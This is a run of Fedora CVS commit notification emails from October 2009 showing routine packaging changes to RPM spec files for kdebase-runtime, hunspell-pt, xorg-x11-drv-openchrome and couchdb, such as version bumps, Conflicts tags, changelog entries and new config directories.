From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:12:07 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel kdebase-runtime.spec,1.147,1.148
Message-ID: <20091015221207.39A8811C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5373/devel

Modified Files:
	kdebase-runtime.spec 
Log Message:
Conflicts: kdebase4 < 4.3.0 instead



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.147
retrieving revision 1.148
diff -u -p -r1.147 -r1.148
--- kdebase-runtime.spec	15 Oct 2009 13:20:18 -0000	1.147
+++ kdebase-runtime.spec	15 Oct 2009 22:12:07 -0000	1.148
@@ -5,7 +5,7 @@
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       3%{?dist}
+Release:       3%{?dist}.1
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -32,7 +32,7 @@ Conflicts: kdebase3 < 3.5.10-4
 
 %if 0%{?fedora} < 12
 # kcm_filetypes moved to here
-Conflicts: kdebase < 6:4.3.0
+Conflicts: kdebase4 < 4.3.0
 %endif
 
 Provides:  kdebase4-runtime = %{version}-%{release}
@@ -223,6 +223,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3.1
+- Conflicts: kdebase4 < 4.3.0 instead 
+
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3
 - Conflicts: kdebase < 6:4.3.0
 - Requires: oxygen-icon-theme >= %%{version}



From caolanm at fedoraproject.org  Thu Oct 15 22:12:43 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 22:12:43 +0000 (UTC)
Subject: rpms/hunspell-pt/devel .cvsignore, 1.20, 1.21 hunspell-pt.spec, 1.36,
	1.37 sources, 1.22, 1.23
Message-ID: <20091015221243.D9B6811C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-pt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5622

Modified Files:
	.cvsignore hunspell-pt.spec sources 
Log Message:
latest pt_PT


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-pt/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	6 Oct 2009 07:34:02 -0000	1.20
+++ .cvsignore	15 Oct 2009 22:12:43 -0000	1.21
@@ -1,2 +1,3 @@
 hunspell-pt_PT-20090309.tar.gz
 pt_BR-2009-10-04AOC.zip
+hunspell-pt_PT-20091013.tar.gz


Index: hunspell-pt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-pt/devel/hunspell-pt.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- hunspell-pt.spec	6 Oct 2009 07:40:15 -0000	1.36
+++ hunspell-pt.spec	15 Oct 2009 22:12:43 -0000	1.37
@@ -1,9 +1,9 @@
 Name: hunspell-pt
 Summary: Portuguese hunspell dictionaries
-%define upstreamid 20091004
+%define upstreamid 20091013
 Version: 0.%{upstreamid}
-Release: 3%{?dist}
-Source0: http://natura.di.uminho.pt/download/sources/Dictionaries/hunspell/hunspell-pt_PT-20090309.tar.gz
+Release: 1%{?dist}
+Source0: http://natura.di.uminho.pt/download/sources/Dictionaries/hunspell/hunspell-pt_PT-20091013.tar.gz
 Source1: http://www.broffice.org/files/pt_BR-2009-10-04AOC.zip
 Group: Applications/Text
 URL: http://www.broffice.org/verortografico/baixar
@@ -17,7 +17,7 @@ Requires: hunspell
 Portuguese hunspell dictionaries.
 
 %prep
-%setup -q -n hunspell-pt_PT-20090309
+%setup -q -n hunspell-pt_PT-20091013
 unzip -q -o %{SOURCE1}
 for i in README_pt_BR-OOO2x.TXT README_pt_PT.txt; do
   if ! iconv -f utf-8 -t utf-8 -o /dev/null $i > /dev/null 2>&1; then
@@ -46,6 +46,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/myspell/*
 
 %changelog
+* Thu Oct 15 2009 Caolan McNamara <caolanm at redhat.com> - 0.20091013-1
+- latest pt_PT version
+
 * Tue Oct 06 2009 Caolan McNamara <caolanm at redhat.com> - 0.20091004-1
 - latest pt_BR version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hunspell-pt/devel/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	6 Oct 2009 07:34:02 -0000	1.22
+++ sources	15 Oct 2009 22:12:43 -0000	1.23
@@ -1,2 +1,2 @@
-ce4a36a835baa32fc358f578d5529832  hunspell-pt_PT-20090309.tar.gz
 0170eb1b3dd06130b43a80cca60d6d84  pt_BR-2009-10-04AOC.zip
+2ebfe9e90f4fa5b1adc18010927b0177  hunspell-pt_PT-20091013.tar.gz



From rdieter at fedoraproject.org  Thu Oct 15 22:14:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:14:19 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel kdebase-runtime.spec,1.148,1.149
Message-ID: <20091015221419.C9C1F11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6055/devel

Modified Files:
	kdebase-runtime.spec 
Log Message:
Meh, Release 4



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- kdebase-runtime.spec	15 Oct 2009 22:12:07 -0000	1.148
+++ kdebase-runtime.spec	15 Oct 2009 22:14:19 -0000	1.149
@@ -1,11 +1,10 @@
-%if 0%{?fedora}
 %define flags 1
 %endif
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       3%{?dist}.1
+Release:       4%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -223,7 +222,7 @@ fi
 
 
 %changelog
-* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3.1
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-4
 - Conflicts: kdebase4 < 4.3.0 instead 
 
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3



From rdieter at fedoraproject.org  Thu Oct 15 22:14:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:14:20 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-10 kdebase-runtime.spec,1.101,1.102
Message-ID: <20091015221420.1B10811C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6055/F-10

Modified Files:
	kdebase-runtime.spec 
Log Message:
Meh, Release 4



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-10/kdebase-runtime.spec,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- kdebase-runtime.spec	15 Oct 2009 22:12:06 -0000	1.101
+++ kdebase-runtime.spec	15 Oct 2009 22:14:19 -0000	1.102
@@ -1,11 +1,10 @@
-%if 0%{?fedora}
 %define flags 1
 %endif
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       3%{?dist}.1
+Release:       4%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -223,7 +222,7 @@ fi
 
 
 %changelog
-* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3.1
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-4
 - Conflicts: kdebase4 < 4.3.0 instead 
 
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3



From rdieter at fedoraproject.org  Thu Oct 15 22:14:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:14:20 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-11 kdebase-runtime.spec,1.124,1.125
Message-ID: <20091015221420.521BE11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6055/F-11

Modified Files:
	kdebase-runtime.spec 
Log Message:
Meh, Release 4



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-11/kdebase-runtime.spec,v
retrieving revision 1.124
retrieving revision 1.125
diff -u -p -r1.124 -r1.125
--- kdebase-runtime.spec	15 Oct 2009 22:12:06 -0000	1.124
+++ kdebase-runtime.spec	15 Oct 2009 22:14:20 -0000	1.125
@@ -1,11 +1,10 @@
-%if 0%{?fedora}
 %define flags 1
 %endif
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       3%{?dist}.1
+Release:       4%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -223,7 +222,7 @@ fi
 
 
 %changelog
-* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3.1
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-4
 - Conflicts: kdebase4 < 4.3.0 instead 
 
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3



From rdieter at fedoraproject.org  Thu Oct 15 22:14:20 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:14:20 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-12 kdebase-runtime.spec,1.145,1.146
Message-ID: <20091015221420.8BC3D11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6055/F-12

Modified Files:
	kdebase-runtime.spec 
Log Message:
Meh, Release 4



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-12/kdebase-runtime.spec,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- kdebase-runtime.spec	15 Oct 2009 22:12:06 -0000	1.145
+++ kdebase-runtime.spec	15 Oct 2009 22:14:20 -0000	1.146
@@ -1,11 +1,10 @@
-%if 0%{?fedora}
 %define flags 1
 %endif
 
 Name:          kdebase-runtime
 Summary:       K Desktop Environment - Runtime
 Version:       4.3.2
-Release:       3%{?dist}.1
+Release:       4%{?dist}
 
 # http://techbase.kde.org/Policies/Licensing_Policy
 License:       LGPLv2+
@@ -223,7 +222,7 @@ fi
 
 
 %changelog
-* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3.1
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-4
 - Conflicts: kdebase4 < 4.3.0 instead 
 
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-3



From rdieter at fedoraproject.org  Thu Oct 15 22:17:56 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:17:56 +0000 (UTC)
Subject: rpms/kdebase-runtime/devel kdebase-runtime.spec,1.149,1.150
Message-ID: <20091015221756.640EA11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6751/devel

Modified Files:
	kdebase-runtime.spec 
Log Message:
typo



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/devel/kdebase-runtime.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- kdebase-runtime.spec	15 Oct 2009 22:14:19 -0000	1.149
+++ kdebase-runtime.spec	15 Oct 2009 22:17:55 -0000	1.150
@@ -1,3 +1,5 @@
+
+%if 0%{?fedora}
 %define flags 1
 %endif
 



From rdieter at fedoraproject.org  Thu Oct 15 22:17:56 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:17:56 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-10 kdebase-runtime.spec,1.102,1.103
Message-ID: <20091015221756.6809E11C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6751/F-10

Modified Files:
	kdebase-runtime.spec 
Log Message:
typo



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-10/kdebase-runtime.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- kdebase-runtime.spec	15 Oct 2009 22:14:19 -0000	1.102
+++ kdebase-runtime.spec	15 Oct 2009 22:17:56 -0000	1.103
@@ -1,3 +1,5 @@
+
+%if 0%{?fedora}
 %define flags 1
 %endif
 



From rdieter at fedoraproject.org  Thu Oct 15 22:17:56 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:17:56 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-11 kdebase-runtime.spec,1.125,1.126
Message-ID: <20091015221756.8393F11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6751/F-11

Modified Files:
	kdebase-runtime.spec 
Log Message:
typo



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-11/kdebase-runtime.spec,v
retrieving revision 1.125
retrieving revision 1.126
diff -u -p -r1.125 -r1.126
--- kdebase-runtime.spec	15 Oct 2009 22:14:20 -0000	1.125
+++ kdebase-runtime.spec	15 Oct 2009 22:17:56 -0000	1.126
@@ -1,3 +1,5 @@
+
+%if 0%{?fedora}
 %define flags 1
 %endif
 



From rdieter at fedoraproject.org  Thu Oct 15 22:17:56 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 22:17:56 +0000 (UTC)
Subject: rpms/kdebase-runtime/F-12 kdebase-runtime.spec,1.146,1.147
Message-ID: <20091015221756.AB68611C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-runtime/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6751/F-12

Modified Files:
	kdebase-runtime.spec 
Log Message:
typo



Index: kdebase-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-runtime/F-12/kdebase-runtime.spec,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- kdebase-runtime.spec	15 Oct 2009 22:14:20 -0000	1.146
+++ kdebase-runtime.spec	15 Oct 2009 22:17:56 -0000	1.147
@@ -1,3 +1,5 @@
+
+%if 0%{?fedora}
 %define flags 1
 %endif
 



From xavierb at fedoraproject.org  Thu Oct 15 22:35:50 2009
From: xavierb at fedoraproject.org (Xavier Bachelot)
Date: Thu, 15 Oct 2009 22:35:50 +0000 (UTC)
Subject: rpms/xorg-x11-drv-openchrome/F-11 .cvsignore, 1.4, 1.5 sources, 1.5,
	1.6 xorg-x11-drv-openchrome.spec, 1.45, 1.46
Message-ID: <20091015223551.0262611C00DB@cvs1.fedora.phx.redhat.com>

Author: xavierb

Update of /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14398

Modified Files:
	.cvsignore sources xorg-x11-drv-openchrome.spec 
Log Message:
openchrome 0.2.904


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	28 Aug 2008 20:01:41 -0000	1.4
+++ .cvsignore	15 Oct 2009 22:35:48 -0000	1.5
@@ -1 +1 @@
-xf86-video-openchrome-0.2.903.tar.bz2
+xf86-video-openchrome-0.2.904.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	28 Aug 2008 20:01:43 -0000	1.5
+++ sources	15 Oct 2009 22:35:48 -0000	1.6
@@ -1 +1 @@
-c0820787e89958c9114d359b6a3cd464  xf86-video-openchrome-0.2.903.tar.bz2
+f2481d98ef54febf5bffbb88a2a2426d  xf86-video-openchrome-0.2.904.tar.bz2


Index: xorg-x11-drv-openchrome.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-openchrome/F-11/xorg-x11-drv-openchrome.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- xorg-x11-drv-openchrome.spec	19 Jul 2009 14:40:46 -0000	1.45
+++ xorg-x11-drv-openchrome.spec	15 Oct 2009 22:35:48 -0000	1.46
@@ -9,8 +9,8 @@
 
 Summary:	Xorg X11 openchrome video driver
 Name:		xorg-x11-drv-openchrome
-Version:	0.2.903
-Release:	12%{?dist}
+Version:	0.2.904
+Release:	1%{?dist}
 URL:		http://www.openchrome.org
 License:	MIT
 Group:		User Interface/X Hardware Support
@@ -37,10 +37,7 @@ Patch208:       openchrome-vt1625.patch
 
 ExclusiveArch:	%{ix86} x86_64
 
-BuildRequires:	pkgconfig
-BuildRequires:	xorg-x11-server-sdk
-BuildRequires:	automake
-BuildRequires:	libtool
+BuildRequires:	xorg-x11-server-devel
 BuildRequires:	libX11-devel
 BuildRequires:	libXext-devel
 BuildRequires:	mesa-libGL-devel
@@ -73,11 +70,6 @@ X.Org X11 openchrome video driver XvMC d
 
 %prep
 %setup -q -n %{tarball}-%{version}
-%patch99 -p0 -b .latest
-%patch203 -p0 -b .tmds
-%patch205 -p0 -b .XO_1.5_panel
-%patch206 -p0 -b .loader_symbol 
-%patch208 -p0 -b .vt1625
 
 
 %build
@@ -135,6 +127,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Xavier Bachelot <xavier at bachelot.org> - 0.2.904-1
+- openchrome 0.2.904.
+
 * Mon Jul 18 2009 Xavier Bachelot <xavier at bachelot.org> - 0.2.903-12
 - Update to latest snapshot (svn 758) :
   - Basic VX855 support.



From allisson at fedoraproject.org  Thu Oct 15 22:40:00 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Thu, 15 Oct 2009 22:40:00 +0000 (UTC)
Subject: rpms/couchdb/devel .cvsignore, 1.4, 1.5 couchdb.spec, 1.6,
	1.7 import.log, 1.4, 1.5 sources, 1.4, 1.5
Message-ID: <20091015224000.F1C0011C00DB@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/couchdb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16061/devel

Modified Files:
	.cvsignore couchdb.spec import.log sources 
Log Message:

Update to 0.10.0.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	31 Jul 2009 02:10:49 -0000	1.4
+++ .cvsignore	15 Oct 2009 22:40:00 -0000	1.5
@@ -1 +1 @@
-apache-couchdb-0.9.1.tar.gz
+apache-couchdb-0.10.0.tar.gz


Index: couchdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/devel/couchdb.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- couchdb.spec	3 Oct 2009 19:09:46 -0000	1.6
+++ couchdb.spec	15 Oct 2009 22:40:00 -0000	1.7
@@ -3,8 +3,8 @@
 %define couchdb_group couchdb
 %define couchdb_home %{_localstatedir}/lib/couchdb
 Name:           couchdb
-Version:        0.9.1
-Release:        2%{?dist}
+Version:        0.10.0
+Release:        1%{?dist}
 Summary:        A document database server, accessible via a RESTful JSON API
 
 Group:          Applications/Databases
@@ -14,12 +14,13 @@ Source0:        http://www.apache.org/di
 Source1:        %{name}.init
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  erlang 
+BuildRequires:  erlang
 BuildRequires:  libicu-devel 
 BuildRequires:  js-devel 
 BuildRequires:  help2man
 #BuildRequires:  libcurl-devel
 BuildRequires:  curl-devel
+
 Requires:       erlang 
 #Requires:       %{_bindir}/icu-config
 Requires:       libicu-devel
@@ -43,8 +44,8 @@ JavaScript acting as the default view de
 %prep
 %setup -q -n %{tarname}-%{version}
 # Patch pid location
-sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
-bin/couchdb.tpl.in
+#sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
+#bin/couchdb.tpl.in
 
 
 %build
@@ -68,6 +69,12 @@ mkdir -p $RPM_BUILD_ROOT%{_localstatedir
 # Create /var/lib/couchdb
 mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/lib/couchdb
 
+# Create /etc/couchdb/default.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/default.d
+
+# Create /etc/couchdb/local.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/local.d
+
 ## Use /etc/sysconfig instead of /etc/default
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
 mv $RPM_BUILD_ROOT%{_sysconfdir}/default/couchdb \
@@ -113,6 +120,8 @@ fi
 %defattr(-,root,root,-)
 %doc AUTHORS BUGS CHANGES LICENSE NEWS NOTICE README THANKS
 %dir %{_sysconfdir}/couchdb
+%dir %{_sysconfdir}/couchdb/local.d
+%dir %{_sysconfdir}/couchdb/default.d
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/default.ini
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/local.ini
 #%config(noreplace) %{_sysconfdir}/default/couchdb
@@ -129,6 +138,9 @@ fi
 %dir %attr(0755, %{couchdb_user}, root) %{_localstatedir}/lib/couchdb
 
 %changelog
+* Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-1
+- Update to 0.10.0.
+
 * Sun Oct 04 2009 Rahul Sundaram <sundaram at fedoraproject.org> 0.9.1-2
 - Change url. Fixes rhbz#525949
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/devel/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	31 Jul 2009 02:10:50 -0000	1.4
+++ import.log	15 Oct 2009 22:40:00 -0000	1.5
@@ -2,3 +2,4 @@ couchdb-0_8_1-4_fc10:HEAD:couchdb-0.8.1-
 couchdb-0_9_0-1_fc10:HEAD:couchdb-0.9.0-1.fc10.src.rpm:1241659193
 couchdb-0_9_0-2_fc10:HEAD:couchdb-0.9.0-2.fc10.src.rpm:1241742181
 couchdb-0_9_1-1_fc11:HEAD:couchdb-0.9.1-1.fc11.src.rpm:1249005969
+couchdb-0_10_0-1_fc11:HEAD:couchdb-0.10.0-1.fc11.src.rpm:1255646329


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	31 Jul 2009 02:10:50 -0000	1.4
+++ sources	15 Oct 2009 22:40:00 -0000	1.5
@@ -1 +1 @@
-9583efae5adfb3f9043e970fef825561  apache-couchdb-0.9.1.tar.gz
+227886b5ecbb6bcbbdc538aac4592b0e  apache-couchdb-0.10.0.tar.gz



From allisson at fedoraproject.org  Thu Oct 15 22:43:42 2009
From: allisson at fedoraproject.org (Allisson Azevedo)
Date: Thu, 15 Oct 2009 22:43:42 +0000 (UTC)
Subject: rpms/couchdb/F-12 .cvsignore, 1.4, 1.5 couchdb.spec, 1.5,
	1.6 import.log, 1.4, 1.5 sources, 1.4, 1.5
Message-ID: <20091015224342.BC33A11C00DB@cvs1.fedora.phx.redhat.com>

Author: allisson

Update of /cvs/pkgs/rpms/couchdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16833/F-12

Modified Files:
	.cvsignore couchdb.spec import.log sources 
Log Message:

Update to 0.10.0.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	31 Jul 2009 02:10:49 -0000	1.4
+++ .cvsignore	15 Oct 2009 22:43:41 -0000	1.5
@@ -1 +1 @@
-apache-couchdb-0.9.1.tar.gz
+apache-couchdb-0.10.0.tar.gz


Index: couchdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-12/couchdb.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- couchdb.spec	31 Jul 2009 02:10:50 -0000	1.5
+++ couchdb.spec	15 Oct 2009 22:43:41 -0000	1.6
@@ -3,23 +3,24 @@
 %define couchdb_group couchdb
 %define couchdb_home %{_localstatedir}/lib/couchdb
 Name:           couchdb
-Version:        0.9.1
+Version:        0.10.0
 Release:        1%{?dist}
 Summary:        A document database server, accessible via a RESTful JSON API
 
 Group:          Applications/Databases
 License:        ASL 2.0
-URL:            http://incubator.apache.org/couchdb/
+URL:            http://couchdb.apache.org/
 Source0:        http://www.apache.org/dist/%{name}/%{version}/%{tarname}-%{version}.tar.gz
 Source1:        %{name}.init
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  erlang 
+BuildRequires:  erlang
 BuildRequires:  libicu-devel 
 BuildRequires:  js-devel 
 BuildRequires:  help2man
 #BuildRequires:  libcurl-devel
 BuildRequires:  curl-devel
+
 Requires:       erlang 
 #Requires:       %{_bindir}/icu-config
 Requires:       libicu-devel
@@ -43,8 +44,8 @@ JavaScript acting as the default view de
 %prep
 %setup -q -n %{tarname}-%{version}
 # Patch pid location
-sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
-bin/couchdb.tpl.in
+#sed -i 's/%localstatedir%\/run\/couchdb.pid/%localstatedir%\/run\/couchdb\/couchdb.pid/g' \
+#bin/couchdb.tpl.in
 
 
 %build
@@ -68,6 +69,12 @@ mkdir -p $RPM_BUILD_ROOT%{_localstatedir
 # Create /var/lib/couchdb
 mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/lib/couchdb
 
+# Create /etc/couchdb/default.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/default.d
+
+# Create /etc/couchdb/local.d
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/couchdb/local.d
+
 ## Use /etc/sysconfig instead of /etc/default
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
 mv $RPM_BUILD_ROOT%{_sysconfdir}/default/couchdb \
@@ -113,6 +120,8 @@ fi
 %defattr(-,root,root,-)
 %doc AUTHORS BUGS CHANGES LICENSE NEWS NOTICE README THANKS
 %dir %{_sysconfdir}/couchdb
+%dir %{_sysconfdir}/couchdb/local.d
+%dir %{_sysconfdir}/couchdb/default.d
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/default.ini
 %config(noreplace) %attr(0644, %{couchdb_user}, root) %{_sysconfdir}/couchdb/local.ini
 #%config(noreplace) %{_sysconfdir}/default/couchdb
@@ -129,6 +138,12 @@ fi
 %dir %attr(0755, %{couchdb_user}, root) %{_localstatedir}/lib/couchdb
 
 %changelog
+* Thu Oct 15 2009 Allisson Azevedo <allisson at gmail.com> 0.10.0-1
+- Update to 0.10.0.
+
+* Sun Oct 04 2009 Rahul Sundaram <sundaram at fedoraproject.org> 0.9.1-2
+- Change url. Fixes rhbz#525949
+
 * Thu Jul 30 2009 Allisson Azevedo <allisson at gmail.com> 0.9.1-1
 - Update to 0.9.1.
 - Drop couchdb-0.9.0-pid.patch.


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb/F-12/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	31 Jul 2009 02:10:50 -0000	1.4
+++ import.log	15 Oct 2009 22:43:41 -0000	1.5
@@ -2,3 +2,4 @@ couchdb-0_8_1-4_fc10:HEAD:couchdb-0.8.1-
 couchdb-0_9_0-1_fc10:HEAD:couchdb-0.9.0-1.fc10.src.rpm:1241659193
 couchdb-0_9_0-2_fc10:HEAD:couchdb-0.9.0-2.fc10.src.rpm:1241742181
 couchdb-0_9_1-1_fc11:HEAD:couchdb-0.9.1-1.fc11.src.rpm:1249005969
+couchdb-0_10_0-1_fc11:F-12:couchdb-0.10.0-1.fc11.src.rpm:1255646422


